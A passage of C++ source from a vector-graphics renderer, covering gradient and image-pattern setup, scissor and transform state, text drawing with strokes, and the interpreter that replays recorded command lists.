colorGetAlpha(icol) / 255.0f; grad->m_OuterColor[0] = colorGetRed(ocol) / 255.0f; grad->m_OuterColor[1] = colorGetGreen(ocol) / 255.0f; grad->m_OuterColor[2] = colorGetBlue(ocol) / 255.0f; grad->m_OuterColor[3] = colorGetAlpha(ocol) / 255.0f; return handle; } static ImagePatternHandle ctxCreateImagePattern(Context* ctx, float cx, float cy, float w, float h, float angle, ImageHandle image) { if (!isValid(image)) { return VG_INVALID_HANDLE32; } if (ctx->m_NextImagePatternID >= ctx->m_Config.m_MaxImagePatterns) { return VG_INVALID_HANDLE32; } ImagePatternHandle handle = { (uint16_t)ctx->m_NextImagePatternID++, 0 }; const float cs = bx::cos(angle); const float sn = bx::sin(angle); float mtx[6]; mtx[0] = cs; mtx[1] = sn; mtx[2] = -sn; mtx[3] = cs; mtx[4] = cx; mtx[5] = cy; const State* state = getState(ctx); const float* stateTransform = state->m_TransformMtx; float patternMatrix[6]; vgutil::multiplyMatrix3(stateTransform, mtx, patternMatrix); float inversePatternMatrix[6]; vgutil::invertMatrix3(patternMatrix, inversePatternMatrix); inversePatternMatrix[0] /= w; inversePatternMatrix[1] /= h; inversePatternMatrix[2] /= w; inversePatternMatrix[3] /= h; inversePatternMatrix[4] /= w; inversePatternMatrix[5] /= h; ImagePattern* pattern = &ctx->m_ImagePatterns[handle.idx]; pattern->m_Matrix[0] = inversePatternMatrix[0]; pattern->m_Matrix[1] = inversePatternMatrix[1]; pattern->m_Matrix[2] = 0.0f; pattern->m_Matrix[3] = inversePatternMatrix[2]; pattern->m_Matrix[4] = inversePatternMatrix[3]; pattern->m_Matrix[5] = 0.0f; pattern->m_Matrix[6] = inversePatternMatrix[4]; pattern->m_Matrix[7] = inversePatternMatrix[5]; pattern->m_Matrix[8] = 1.0f; pattern->m_ImageHandle = image; return handle; } static void ctxPushState(Context* ctx) { VG_CHECK(ctx->m_StateStackTop < (uint32_t)(ctx->m_Config.m_MaxStateStackSize - 1), "State stack overflow"); const uint32_t top = ctx->m_StateStackTop; const State* curState = &ctx->m_StateStack[top]; State* newState = &ctx->m_StateStack[top + 1]; bx::memCopy(newState, curState, sizeof(State)); ++ctx->m_StateStackTop; } static void ctxPopState(Context* ctx) { VG_CHECK(ctx->m_StateStackTop > 0, "State stack underflow"); --ctx->m_StateStackTop; // If the new state has a different scissor rect than the last draw command // force creating a new command. const uint32_t numDrawCommands = ctx->m_NumDrawCommands; if (numDrawCommands != 0) { const State* state = getState(ctx); const DrawCommand* lastDrawCommand = &ctx->m_DrawCommands[numDrawCommands - 1]; const uint16_t* lastScissor = &lastDrawCommand->m_ScissorRect[0]; const float* stateScissor = &state->m_ScissorRect[0]; if (lastScissor[0] != (uint16_t)stateScissor[0] || lastScissor[1] != (uint16_t)stateScissor[1] || lastScissor[2] != (uint16_t)stateScissor[2] || lastScissor[3] != (uint16_t)stateScissor[3]) { ctx->m_ForceNewDrawCommand = true; ctx->m_ForceNewClipCommand = true; } } } static void ctxResetScissor(Context* ctx) { State* state = getState(ctx); state->m_ScissorRect[0] = state->m_ScissorRect[1] = 0.0f; state->m_ScissorRect[2] = (float)ctx->m_CanvasWidth; state->m_ScissorRect[3] = (float)ctx->m_CanvasHeight; ctx->m_ForceNewDrawCommand = true; ctx->m_ForceNewClipCommand = true; } static void ctxSetScissor(Context* ctx, float x, float y, float w, float h) { State* state = getState(ctx); const float* stateTransform = state->m_TransformMtx; const float canvasWidth = (float)ctx->m_CanvasWidth; const float canvasHeight = (float)ctx->m_CanvasHeight; float pos[2], size[2]; vgutil::transformPos2D(x, y, stateTransform, &pos[0]); vgutil::transformVec2D(w, h, stateTransform, &size[0]); const float minx = bx::clamp<float>(pos[0], 0.0f, canvasWidth); const float miny = bx::clamp<float>(pos[1], 0.0f, canvasHeight); const float maxx = bx::clamp<float>(pos[0] + size[0], 0.0f, canvasWidth); const float maxy = bx::clamp<float>(pos[1] + size[1], 0.0f, canvasHeight); state->m_ScissorRect[0] = minx; state->m_ScissorRect[1] = miny; state->m_ScissorRect[2] = maxx - minx; state->m_ScissorRect[3] = maxy - miny; ctx->m_ForceNewDrawCommand = true; ctx->m_ForceNewClipCommand = true; } static bool ctxIntersectScissor(Context* ctx, float x, float y, float w, float h) { State* state = getState(ctx); const float* stateTransform = state->m_TransformMtx; const float* scissorRect = state->m_ScissorRect; float pos[2], size[2]; vgutil::transformPos2D(x, y, stateTransform, &pos[0]); vgutil::transformVec2D(w, h, stateTransform, &size[0]); const float minx = bx::max<float>(pos[0], scissorRect[0]); const float miny = bx::max<float>(pos[1], scissorRect[1]); const float maxx = bx::min<float>(pos[0] + size[0], scissorRect[0] + scissorRect[2]); const float maxy = bx::min<float>(pos[1] + size[1], scissorRect[1] + scissorRect[3]); const float newRectWidth = bx::max<float>(0.0f, maxx - minx); const float newRectHeight = bx::max<float>(0.0f, maxy - miny); state->m_ScissorRect[0] = minx; state->m_ScissorRect[1] = miny; state->m_ScissorRect[2] = newRectWidth; state->m_ScissorRect[3] = newRectHeight; ctx->m_ForceNewDrawCommand = true; ctx->m_ForceNewClipCommand = true; return newRectWidth >= 1.0f && newRectHeight >= 1.0f; } static void ctxTransformIdentity(Context* ctx) { State* state = getState(ctx); state->m_TransformMtx[0] = 1.0f; state->m_TransformMtx[1] = 0.0f; state->m_TransformMtx[2] = 0.0f; state->m_TransformMtx[3] = 1.0f; state->m_TransformMtx[4] = 0.0f; state->m_TransformMtx[5] = 0.0f; updateState(state); } static void ctxTransformScale(Context* ctx, float x, float y) { State* state = getState(ctx); state->m_TransformMtx[0] = x * state->m_TransformMtx[0]; state->m_TransformMtx[1] = x * state->m_TransformMtx[1]; state->m_TransformMtx[2] = y * state->m_TransformMtx[2]; state->m_TransformMtx[3] = y * state->m_TransformMtx[3]; updateState(state); } static void ctxTransformTranslate(Context* ctx, float x, float y) { State* state = getState(ctx); state->m_TransformMtx[4] += state->m_TransformMtx[0] * x + state->m_TransformMtx[2] * y; state->m_TransformMtx[5] += state->m_TransformMtx[1] * x + state->m_TransformMtx[3] * y; updateState(state); } static void ctxTransformRotate(Context* ctx, float ang_rad) { const float c = bx::cos(ang_rad); const float s = bx::sin(ang_rad); State* state = getState(ctx); const float* stateTransform = state->m_TransformMtx; float mtx[6]; mtx[0] = c * stateTransform[0] + s * stateTransform[2]; mtx[1] = c * stateTransform[1] + s * stateTransform[3]; mtx[2] = -s * stateTransform[0] + c * stateTransform[2]; mtx[3] = -s * stateTransform[1] + c * stateTransform[3]; mtx[4] = stateTransform[4]; mtx[5] = stateTransform[5]; bx::memCopy(state->m_TransformMtx, mtx, sizeof(float) * 6); updateState(state); } static void ctxTransformMult(Context* ctx, const float* mtx, TransformOrder::Enum order) { State* state = getState(ctx); const float* stateTransform = state->m_TransformMtx; float res[6]; if (order == TransformOrder::Post) { vgutil::multiplyMatrix3(stateTransform, mtx, res); } else { VG_CHECK(order == TransformOrder::Pre, "Unknown TransformOrder::Enum"); vgutil::multiplyMatrix3(mtx, stateTransform, res); } bx::memCopy(state->m_TransformMtx, res, sizeof(float) * 6); updateState(state); } static void ctxSetViewBox(Context* ctx, float x, float y, float w, float h) { const float scaleX = (float)ctx->m_CanvasWidth / w; const float scaleY = (float)ctx->m_CanvasHeight / h; State* state = getState(ctx); float* stateTransform = &state->m_TransformMtx[0]; // ctxTransformScale(ctx, scaleX, scaleY); stateTransform[0] = scaleX * stateTransform[0]; stateTransform[1] = scaleX * stateTransform[1]; stateTransform[2] = scaleY * stateTransform[2]; stateTransform[3] = scaleY * stateTransform[3]; // ctxTransformTranslate(ctx, -x, -y); stateTransform[4] -= stateTransform[0] * x + stateTransform[2] * y; stateTransform[5] -= stateTransform[1] * x + stateTransform[3] * y; updateState(state); } static void ctxIndexedTriList(Context* ctx, const float* pos, const uv_t* uv, uint32_t numVertices, const Color* colors, uint32_t numColors, const uint16_t* indices, uint32_t numIndices, ImageHandle img) { if (!isValid(img)) { img = ctx->m_FontImages[0]; } const State* state = getState(ctx); const float* stateTransform = state->m_TransformMtx; DrawCommand* cmd = allocDrawCommand(ctx, numVertices, numIndices, DrawCommand::Type::Textured, img.idx); // Vertex buffer VertexBuffer* vb = &ctx->m_VertexBuffers[cmd->m_VertexBufferID]; const uint32_t vbOffset = cmd->m_FirstVertexID + cmd->m_NumVertices; float* dstPos = &vb->m_Pos[vbOffset << 1]; vgutil::batchTransformPositions(pos, numVertices, dstPos, stateTransform); uv_t* dstUV = &vb->m_UV[vbOffset << 1]; if (uv) { bx::memCopy(dstUV, uv, sizeof(uv_t) * 2 * numVertices); } else { const uv_t* whiteRectUV = getWhitePixelUV(ctx); #if VG_CONFIG_UV_INT16 vgutil::memset32(dstUV, numVertices, &whiteRectUV[0]); #else vgutil::memset64(dstUV, numVertices, &whiteRectUV[0]); #endif } uint32_t* dstColor = &vb->m_Color[vbOffset]; if (numColors == numVertices) { bx::memCopy(dstColor, colors, sizeof(uint32_t) * numVertices); } else { VG_CHECK(numColors == 1, "Invalid size of color array passed."); vgutil::memset32(dstColor, numVertices, colors); } // Index buffer IndexBuffer* ib = &ctx->m_IndexBuffers[ctx->m_ActiveIndexBufferID]; uint16_t* dstIndex = &ib->m_Indices[cmd->m_FirstIndexID + cmd->m_NumIndices]; vgutil::batchTransformDrawIndices(indices, numIndices, dstIndex, (uint16_t)cmd->m_NumVertices); cmd->m_NumVertices += numVertices; cmd->m_NumIndices += numIndices; } static void ctxText(Context* ctx, const TextConfig& cfg, float x, float y, const char* str, const char* end) { VG_CHECK(isValid(cfg.m_FontHandle), "Invalid font handle"); const State* state = getState(ctx); const float scale = state->m_FontScale * ctx->m_DevicePixelRatio; const float scaledFontSize = cfg.m_FontSize * scale; if (scaledFontSize < VG_CONFIG_MIN_FONT_SIZE) { return; } end = end ? end : (str + bx::strLen(str)); if (end == str) { return; } FONSstring* vgs = &ctx->m_TextString; FONScontext* fons = ctx->m_FontStashContext; fonsSetSize(fons, scaledFontSize); fonsSetBlur(fons, cfg.m_Blur); fonsSetFont(fons, cfg.m_FontHandle.idx); fonsResetString(fons, vgs, str, end); int numBakedChars = fonsBakeString(fons, vgs); if (numBakedChars == -1) { // Atlas full? Retry if (!allocTextAtlas(ctx)) { VG_WARN(false, "Failed to allocate enough text atlas space for string"); return; } numBakedChars = fonsBakeString(fons, vgs); } if (numBakedChars <= 0) { return; } if (ctx->m_TextQuadCapacity < (uint32_t)numBakedChars) { bx::AllocatorI* allocator = ctx->m_Allocator; ctx->m_TextQuadCapacity = (uint32_t)numBakedChars; ctx->m_TextQuads = (FONSquad*)BX_ALIGNED_REALLOC(allocator, ctx->m_TextQuads, sizeof(FONSquad) * ctx->m_TextQuadCapacity, 16); ctx->m_TextVertices = (float*)BX_ALIGNED_REALLOC(allocator, ctx->m_TextVertices, sizeof(float) * 2 * (ctx->m_TextQuadCapacity * 4), 16); } bx::memCopy(ctx->m_TextQuads, vgs->m_Quads, sizeof(FONSquad) * numBakedChars); float dx = 0.0f, dy = 0.0f; fonsAlignString(fons, vgs, cfg.m_Alignment, &dx, &dy); ctxPushState(ctx); ctxTransformTranslate(ctx, x + dx / scale, y + dy / scale); renderTextQuads(ctx, numBakedChars, cfg.m_Color); if (cfg.m_Stroke > 0.0f) { float const s = cfg.m_Stroke / scale; x = x + dx / scale; y = y + dy / scale; ctxPopState(ctx); ctxPushState(ctx); ctxTransformTranslate(ctx, x + s, y); renderTextQuads(ctx, numBakedChars, cfg.m_Color); ctxPopState(ctx); ctxPushState(ctx); ctxTransformTranslate(ctx, x + s, y + s); renderTextQuads(ctx, numBakedChars, cfg.m_Color); ctxPopState(ctx); ctxPushState(ctx); ctxTransformTranslate(ctx, x, y + s); renderTextQuads(ctx, numBakedChars, cfg.m_Color); ctxPopState(ctx); ctxPushState(ctx); ctxTransformTranslate(ctx, x - s, y + s); renderTextQuads(ctx, numBakedChars, cfg.m_Color); ctxPopState(ctx); ctxPushState(ctx); ctxTransformTranslate(ctx, x - s, y); renderTextQuads(ctx, numBakedChars, cfg.m_Color); ctxPopState(ctx); ctxPushState(ctx); ctxTransformTranslate(ctx, x - s, y - s); renderTextQuads(ctx, numBakedChars, cfg.m_Color); ctxPopState(ctx); ctxPushState(ctx); ctxTransformTranslate(ctx, x, y - s); renderTextQuads(ctx, numBakedChars, cfg.m_Color); ctxPopState(ctx); ctxPushState(ctx); ctxTransformTranslate(ctx, x + s, y - s); renderTextQuads(ctx, numBakedChars, cfg.m_Color); } ctxPopState(ctx); } static void ctxTextBox(Context* ctx, const TextConfig& cfg, float x, float y, float breakWidth, const char* str, const char* end, uint32_t textboxFlags) { VG_CHECK(isValid(cfg.m_FontHandle), "Invalid font handle"); const State* state = getState(ctx); const float scale = state->m_FontScale * ctx->m_DevicePixelRatio; const float scaledFontSize = cfg.m_FontSize * scale; if (scaledFontSize < VG_CONFIG_MIN_FONT_SIZE) { return; } const uint32_t alignment = cfg.m_Alignment; const int halign = alignment & (FONS_ALIGN_LEFT | FONS_ALIGN_CENTER | FONS_ALIGN_RIGHT); const int valign = alignment & (FONS_ALIGN_TOP | FONS_ALIGN_MIDDLE | FONS_ALIGN_BOTTOM | FONS_ALIGN_BASELINE); const float lineh = getTextLineHeight(ctx, cfg); const TextConfig newCfg = makeTextConfig(ctx, cfg.m_FontHandle, cfg.m_FontSize, FONS_ALIGN_LEFT | valign, cfg.m_Color, cfg.m_Blur, cfg.m_Stroke); TextRow rows[5]; int nrows; while ((nrows = textBreakLines(ctx, cfg, str, end, breakWidth, rows, 5, textboxFlags))) { for (int i = 0; i < nrows; ++i) { TextRow* row = &rows[i]; if (halign & FONS_ALIGN_LEFT) { ctxText(ctx, newCfg, x, y, row->start, row->end); } else if (halign & FONS_ALIGN_CENTER) { ctxText(ctx, newCfg, x - row->width * 0.5f, y, row->start, row->end); } else if (halign & FONS_ALIGN_RIGHT) { ctxText(ctx, newCfg, x + breakWidth - row->width, y, row->start, row->end); } y += lineh; // Assume line height multiplier to be 1.0 (NanoVG allows the user to change it, but I don't use it). } str = rows[nrows - 1].next; } } static void ctxSubmitCommandList(Context* ctx, CommandListHandle handle) { VG_CHECK(isCommandListHandleValid(ctx, handle), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[handle.idx]; if (ctx->m_SubmitCmdListRecursionDepth >= ctx->m_Config.m_MaxCommandListDepth) { VG_CHECK(false, "SubmitCommandList recursion depth limit reached."); return; } ++ctx->m_SubmitCmdListRecursionDepth; #if VG_CONFIG_ENABLE_SHAPE_CACHING CommandListCache* clCache = clGetCache(ctx, cl); if(clCache) { const State* state = getState(ctx); const float cachedScale = clCache->m_AvgScale; const float stateScale = state->m_AvgScale; if (cachedScale == stateScale) { clCacheRender(ctx, cl); --ctx->m_SubmitCmdListRecursionDepth; return; } else { clCacheReset(ctx, clCache); clCache->m_AvgScale = stateScale; } } #else CommandListCache* clCache = nullptr; #endif // Don't cull commands during caching. const uint32_t clFlags = cl->m_Flags; const bool cullCmds = !clCache && ((clFlags & CommandListFlags::AllowCommandCulling) != 0); const uint16_t firstGradientID = (uint16_t)ctx->m_NextGradientID; const uint16_t firstImagePatternID = (uint16_t)ctx->m_NextImagePatternID; VG_CHECK(firstGradientID + cl->m_NumGradients <= ctx->m_Config.m_MaxGradients, "Not enough free gradients for command list. Increase ContextConfig::m_MaxGradients"); VG_CHECK(firstImagePatternID + cl->m_NumImagePatterns <= ctx->m_Config.m_MaxImagePatterns, "Not enough free image patterns for command list. Increase ContextConfig::m_MaxImagePatterns"); const uint8_t* cmd = cl->m_CommandBuffer; const uint8_t* cmdListEnd = cl->m_CommandBuffer + cl->m_CommandBufferPos; if (cmd == cmdListEnd) { --ctx->m_SubmitCmdListRecursionDepth; return; } const char* stringBuffer = cl->m_StringBuffer; #if VG_CONFIG_ENABLE_SHAPE_CACHING pushCommandListCache(ctx, clCache); #endif bool skipCmds = false; #if VG_CONFIG_COMMAND_LIST_PRESERVE_STATE ctxPushState(ctx); #endif while (cmd < cmdListEnd) { const CommandHeader* cmdHeader = (CommandHeader*)cmd; cmd += kAlignedCommandHeaderSize; const uint8_t* nextCmd = cmd + cmdHeader->m_Size; if (skipCmds && cmdHeader->m_Type >= CommandType::FirstStrokerCommand && cmdHeader->m_Type <= CommandType::LastStrokerCommand) { cmd = nextCmd; continue; } switch (cmdHeader->m_Type) { case CommandType::BeginPath: { ctxBeginPath(ctx); } break; case CommandType::ClosePath: { ctxClosePath(ctx); } break; case CommandType::MoveTo: { const float* coords = (float*)cmd; cmd += sizeof(float) * 2; ctxMoveTo(ctx, coords[0], coords[1]); } break; case CommandType::LineTo: { const float* coords = (float*)cmd; cmd += sizeof(float) * 2; ctxLineTo(ctx, coords[0], coords[1]); } break; case CommandType::CubicTo: { const float* coords = (float*)cmd; cmd += sizeof(float) * 6; ctxCubicTo(ctx, coords[0], coords[1], coords[2], coords[3], coords[4], coords[5]); } break; case CommandType::QuadraticTo: { const float* coords = (float*)cmd; cmd += sizeof(float) * 4; ctxQuadraticTo(ctx, coords[0], coords[1], coords[2], coords[3]); } break; case CommandType::Arc: { const float* coords = (float*)cmd; cmd += sizeof(float) * 5; const Winding::Enum dir = CMD_READ(cmd, Winding::Enum); ctxArc(ctx, coords[0], coords[1], coords[2], coords[3], coords[4], dir); } break; case CommandType::ArcTo: { const float* coords = (float*)cmd; cmd += sizeof(float) * 5; ctxArcTo(ctx, coords[0], coords[1], coords[2], coords[3], coords[4]); } break; case CommandType::Rect: { const float* coords = (float*)cmd; cmd += sizeof(float) * 4; ctxRect(ctx, coords[0], coords[1], coords[2], coords[3]); } break; case CommandType::RoundedRect: { const float* coords = (float*)cmd; cmd += sizeof(float) * 5; ctxRoundedRect(ctx, coords[0], coords[1], coords[2], coords[3], coords[4]); } break; case CommandType::RoundedRectVarying: { const float* coords = (float*)cmd; cmd += sizeof(float) * 8; ctxRoundedRectVarying(ctx, coords[0], coords[1], coords[2], coords[3], coords[4], coords[5], coords[6], coords[7]); } break; case CommandType::Circle: { const float* coords = (float*)cmd; cmd += sizeof(float) * 3; ctxCircle(ctx, coords[0], coords[1], coords[2]); } break; case CommandType::Ellipse: { const float* coords = (float*)cmd; cmd += sizeof(float) * 4; ctxEllipse(ctx, coords[0], coords[1], coords[2], coords[3]); } break; case CommandType::Polyline: { const uint32_t numPoints = CMD_READ(cmd, uint32_t); const float* coords = (float*)cmd; cmd += sizeof(float) * 2 * numPoints; ctxPolyline(ctx, coords, numPoints); } break; case CommandType::FillPathColor: { const uint32_t flags = CMD_READ(cmd, uint32_t); const Color color = CMD_READ(cmd, Color); ctxFillPathColor(ctx, color, flags); } break; case CommandType::FillPathGradient: { const uint32_t flags = CMD_READ(cmd, uint32_t); const uint16_t gradientHandle = CMD_READ(cmd, uint16_t); const uint16_t gradientFlags = CMD_READ(cmd, uint16_t); const GradientHandle gradient = { isLocal(gradientFlags) ? (uint16_t)(gradientHandle + firstGradientID) : gradientHandle, 0 }; ctxFillPathGradient(ctx, gradient, flags); } break; case CommandType::FillPathImagePattern: { const uint32_t flags = CMD_READ(cmd, uint32_t); const Color color = CMD_READ(cmd, Color); const uint16_t imgPatternHandle = CMD_READ(cmd, uint16_t); const uint16_t imgPatternFlags = CMD_READ(cmd, uint16_t); const ImagePatternHandle imgPattern = { isLocal(imgPatternFlags) ? (uint16_t)(imgPatternHandle + firstImagePatternID) : imgPatternHandle, 0 }; ctxFillPathImagePattern(ctx, imgPattern, color, flags); } break; case CommandType::StrokePathColor: { const float width = CMD_READ(cmd, float); const uint32_t flags = CMD_READ(cmd, uint32_t); const Color color = CMD_READ(cmd, Color); ctxStrokePathColor(ctx, color, width, flags); } break; case CommandType::StrokePathGradient: { const float width = CMD_READ(cmd, float); const uint32_t flags = CMD_READ(cmd, uint32_t); const uint16_t gradientHandle = CMD_READ(cmd, uint16_t); const uint16_t gradientFlags = CMD_READ(cmd, uint16_t); const GradientHandle gradient = { isLocal(gradientFlags) ? (uint16_t)(gradientHandle + firstGradientID) : gradientHandle, 0 }; ctxStrokePathGradient(ctx, gradient, width, flags); } break; case CommandType::StrokePathImagePattern: { const float width = CMD_READ(cmd, float); const uint32_t flags = CMD_READ(cmd, uint32_t); const Color color = CMD_READ(cmd, Color); const uint16_t imgPatternHandle = CMD_READ(cmd, uint16_t); const uint16_t imgPatternFlags = CMD_READ(cmd, uint16_t); const ImagePatternHandle imgPattern = { isLocal(imgPatternFlags) ? (uint16_t)(imgPatternHandle + firstImagePatternID) : imgPatternHandle, 0 }; ctxStrokePathImagePattern(ctx, imgPattern, color, width, flags); } break; case CommandType::IndexedTriList: { const uint32_t numVertices = CMD_READ(cmd, uint32_t); const float* positions = (float*)cmd; cmd += sizeof(float) * 2 * numVertices; const uint32_t numUVs = CMD_READ(cmd, uint32_t); const uv_t* uv = (uv_t*)cmd; cmd += sizeof(uv_t) * 2 * numUVs; const uint32_t numColors = CMD_READ(cmd, uint32_t); const Color* colors = (Color*)cmd; cmd += sizeof(Color) * numColors; const uint32_t numIndices = CMD_READ(cmd, uint32_t); const uint16_t* indices = (uint16_t*)cmd; cmd += sizeof(uint16_t) * numIndices; const uint16_t imgHandle = CMD_READ(cmd, uint16_t); ctxIndexedTriList(ctx, positions, numUVs ? uv : nullptr, numVertices, colors, numColors, indices, numIndices, { imgHandle }); } break; case CommandType::CreateLinearGradient: { const float* params = (float*)cmd; cmd += sizeof(float) * 4; const Color* colors = (Color*)cmd; cmd += sizeof(Color) * 2; ctxCreateLinearGradient(ctx, params[0], params[1], params[2], params[3], colors[0], colors[1]); } break; case CommandType::CreateBoxGradient: { const float* params = (float*)cmd; cmd += sizeof(float) * 6; const Color* colors = (Color*)cmd; cmd += sizeof(Color) * 2; ctxCreateBoxGradient(ctx, params[0], params[1], params[2], params[3], params[4], params[5], colors[0], colors[1]); } break; case CommandType::CreateRadialGradient: { const float* params = (float*)cmd; cmd += sizeof(float) * 4; const Color* colors = (Color*)cmd; cmd += sizeof(Color) * 2; ctxCreateRadialGradient(ctx, params[0], params[1], params[2], params[3], colors[0], colors[1]); } break; case CommandType::CreateImagePattern: { const float* params = (float*)cmd; cmd += sizeof(float) * 5; const ImageHandle img = CMD_READ(cmd, ImageHandle); ctxCreateImagePattern(ctx, params[0], params[1], params[2], params[3], params[4], img); } break; case CommandType::Text: { const TextConfig* txtCfg = (TextConfig*)cmd; cmd += sizeof(TextConfig); const float* coords = (float*)cmd; cmd += sizeof(float) * 2; const uint32_t stringOffset = CMD_READ(cmd, uint32_t); const uint32_t stringLen = CMD_READ(cmd, uint32_t); VG_CHECK(stringOffset < cl->m_StringBufferPos, "Invalid string offset"); VG_CHECK(stringOffset + stringLen <= cl->m_StringBufferPos, "Invalid string length"); const char* str = stringBuffer + stringOffset; const char* end = str + stringLen; ctxText(ctx, *txtCfg, coords[0], coords[1], str, end); } break; case CommandType::TextBox: { const TextConfig* txtCfg = (TextConfig*)cmd; cmd += sizeof(TextConfig); const float* coords = (float*)cmd; cmd += sizeof(float) * 3; // x, y, breakWidth const uint32_t stringOffset = CMD_READ(cmd, uint32_t); const uint32_t stringLen = CMD_READ(cmd, uint32_t); const uint32_t textboxFlags = CMD_READ(cmd, uint32_t); VG_CHECK(stringOffset < cl->m_StringBufferPos, "Invalid string offset"); VG_CHECK(stringOffset + stringLen <= cl->m_StringBufferPos, "Invalid string length"); const char* str = stringBuffer + stringOffset; const char* end = str + stringLen; ctxTextBox(ctx, *txtCfg, coords[0], coords[1], coords[2], str, end, textboxFlags); } break; case CommandType::ResetScissor: { ctxResetScissor(ctx); skipCmds = false; } break; case CommandType::SetScissor: { const float* rect = (float*)cmd; cmd += sizeof(float) * 4; ctxSetScissor(ctx, rect[0], rect[1], rect[2], rect[3]); if (cullCmds) { const State* state = getState(ctx); const float* scissorRect = &state->m_ScissorRect[0]; skipCmds = (scissorRect[2] < 1.0f) || (scissorRect[3] < 1.0f); } } break; case CommandType::IntersectScissor: { const float* rect = (float*)cmd; cmd += sizeof(float) * 4; const bool zeroRect = !ctxIntersectScissor(ctx, rect[0], rect[1], rect[2], rect[3]); if (cullCmds) { skipCmds = zeroRect; } } break; case CommandType::PushState: { ctxPushState(ctx); } break; case CommandType::PopState: { ctxPopState(ctx); if (cullCmds) { const State* state = getState(ctx); const float* scissorRect = &state->m_ScissorRect[0]; skipCmds = (scissorRect[2] < 1.0f) || (scissorRect[3] < 1.0f); } } break; case CommandType::TransformIdentity: { ctxTransformIdentity(ctx); } break; case CommandType::TransformRotate: { const float ang_rad = CMD_READ(cmd, float); ctxTransformRotate(ctx, ang_rad); } break; case CommandType::TransformTranslate: { const float* coords = (float*)cmd; cmd += sizeof(float) * 2; ctxTransformTranslate(ctx, coords[0], coords[1]); } break; case CommandType::TransformScale: { const float* coords = (float*)cmd; cmd += sizeof(float) * 2; ctxTransformScale(ctx, coords[0], coords[1]); } break; case CommandType::TransformMult: { const float* mtx = (float*)cmd; cmd += sizeof(float) * 6; const TransformOrder::Enum order = CMD_READ(cmd, TransformOrder::Enum); ctxTransformMult(ctx, mtx, order); } break; case CommandType::SetViewBox: { const float* viewBox = (float*)cmd; cmd += sizeof(float) * 4; ctxSetViewBox(ctx, viewBox[0], viewBox[1], viewBox[2], viewBox[3]); } break; case CommandType::BeginClip: { const ClipRule::Enum rule = CMD_READ(cmd, ClipRule::Enum); ctxBeginClip(ctx, rule); } break; case CommandType::EndClip: { ctxEndClip(ctx); } break; case CommandType::ResetClip: { ctxResetClip(ctx); } break; case CommandType::SubmitCommandList: { const uint16_t cmdListID = CMD_READ(cmd, uint16_t); const CommandListHandle cmdListHandle = { cmdListID }; if (isCommandListHandleValid(ctx, cmdListHandle)) { ctxSubmitCommandList(ctx, cmdListHandle); } } break; default: { VG_CHECK(false, "Unknown command"); } break; } cmd = nextCmd; } #if VG_CONFIG_COMMAND_LIST_PRESERVE_STATE ctxPopState(ctx); ctxResetClip(ctx); #endif #if VG_CONFIG_ENABLE_SHAPE_CACHING popCommandListCache(ctx); #endif --ctx->m_SubmitCmdListRecursionDepth; } #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API // Active command list static void aclBeginPath(Context* ctx) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clBeginPath(ctx, ctx->m_ActiveCommandList); } static void aclMoveTo(Context* ctx, float x, float y) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clMoveTo(ctx, ctx->m_ActiveCommandList, x, y); } static void aclLineTo(Context* ctx, float x, float y) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clLineTo(ctx, ctx->m_ActiveCommandList, x, y); } static void aclCubicTo(Context* ctx, float c1x, float c1y, float c2x, float c2y, float x, float y) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clCubicTo(ctx, ctx->m_ActiveCommandList, c1x, c1y, c2x, c2y, x, y); } static void aclQuadraticTo(Context* ctx, float cx, float cy, float x, float y) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clQuadraticTo(ctx, ctx->m_ActiveCommandList, cx, cy, x, y); } static void aclArc(Context* ctx, float cx, float cy, float r, float a0, float a1, Winding::Enum dir) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clArc(ctx, ctx->m_ActiveCommandList, cx, cy, r, a0, a1, dir); } static void aclArcTo(Context* ctx, float x1, float y1, float x2, float y2, float r) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clArcTo(ctx, ctx->m_ActiveCommandList, x1, y1, x2, y2, r); } static void aclRect(Context* ctx, float x, float y, float w, float h) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clRect(ctx, ctx->m_ActiveCommandList, x, y, w, h); } static void aclRoundedRect(Context* ctx, float x, float y, float w, float h, float r) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clRoundedRect(ctx, ctx->m_ActiveCommandList, x, y, w, h, r); } static void aclRoundedRectVarying(Context* ctx, float x, float y, float w, float h, float rtl, float rtr, float rbr, float rbl) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clRoundedRectVarying(ctx, ctx->m_ActiveCommandList, x, y, w, h, rtl, rtr, rbr, rbl); } static void aclCircle(Context* ctx, float cx, float cy, float radius) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clCircle(ctx, ctx->m_ActiveCommandList, cx, cy, radius); } static void aclEllipse(Context* ctx, float cx, float cy, float rx, float ry) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clEllipse(ctx, ctx->m_ActiveCommandList, cx, cy, rx, ry); } static void aclPolyline(Context* ctx, const float* coords, uint32_t numPoints) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clPolyline(ctx, ctx->m_ActiveCommandList, coords, numPoints); } static void aclClosePath(Context* ctx) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clClosePath(ctx, ctx->m_ActiveCommandList); } static void aclFillPathColor(Context* ctx, Color color, uint32_t flags) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clFillPath(ctx, ctx->m_ActiveCommandList, color, flags); } static void aclFillPathGradient(Context* ctx, GradientHandle gradientHandle, uint32_t flags) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clFillPath(ctx, ctx->m_ActiveCommandList, gradientHandle, flags); } static void aclFillPathImagePattern(Context* ctx, ImagePatternHandle imgPatternHandle, Color color, uint32_t flags) { VG_CHECK(isValid(ctx->m_ActiveCommandList), "Invalid Context state"); clFillPath(ctx, ctx->m_ActiveCommandList, imgPatternHandle, color, flags); } static void 